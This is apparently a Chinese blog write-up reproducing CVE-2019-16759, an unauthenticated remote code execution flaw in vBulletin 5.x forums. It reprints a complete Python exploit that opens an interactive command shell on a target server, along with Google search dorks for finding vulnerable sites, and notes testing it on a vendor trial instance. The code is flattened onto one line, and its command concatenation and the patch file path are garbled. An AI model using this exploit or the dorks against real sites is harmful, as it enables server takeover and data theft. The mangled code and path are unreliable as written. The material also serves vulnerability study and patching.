CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE 漏洞復現
- 2019 年 10 月 10 日
- 筆記
0X1 漏洞概述
vBulletin 是世界上用戶非常廣泛的PHP論壇,很多大型論壇都選擇vBulletin作為自己的社區。vBulletin高效,穩定,安全,在中國也有很多大型客戶,比如X鳥網,XX團購等在線上萬人的論壇都用vBulletin。
vBulletin的官方網站是 http://www.vBulletin.com 它不是免費軟體,但價格很低。的公司網站和論壇。因此,該0day漏洞細節的公布會對大量的用戶帶來影響。
匿名黑客稱發現vBulletin中存在一個遠程程式碼執行漏洞,影響vBulletin v 5.0.0到最新的v 5.5.4版本。該漏洞非常嚴重的原因不僅在於可以遠程利用,還在於漏洞利用並不需要認證。由於論壇軟體包是內部 widget文件通過URL參數接收配置的方式存在漏洞,伺服器在分析參數時又沒有進行適當的安全檢查
漏洞POC參考:https://seclists.org/fulldisclosure/2019/Sep/31
#!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # - site:*.vbulletin.net # - "Powered by vBulletin Version 5.5.4" import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0]) params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input("vBulletin$") params["widgetConfig[code]"] = "echo shell_exec('cmd+'); exit;" r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("nClosing shell...") except Exception, e: sys.exit(str(e))
0X2 環境搭建
由於vBulletin需要一些$才能下載源碼,找了一下發現網上可以下載的是4.x的程式碼,無法復現。而該項目維護人員目前還並沒有發布更新修補程式,官網的測試版本還是最新的5.5.4,因此使用在線測試環境測試。漏洞原理分析可以參考chybeta在先知上做的分析。在官網上填寫郵箱,即可得到測試版地址,如下所示
https://www.vbulletin.com/en/vb5-trial/

0X3 漏洞復現
使用上面的poc程式碼測試demo環境,可以看到返回條件成功

也可參考chybeta的復現過程進行程式碼注入執行


0X4 漏洞修復
建議對includesvb5frontendcontrollerbbcode.php中的變數evalCode做過濾防護
0x5 參考文章
https://xz.aliyun.com/t/6419
https://seclists.org/fulldisclosure/2019/Sep/31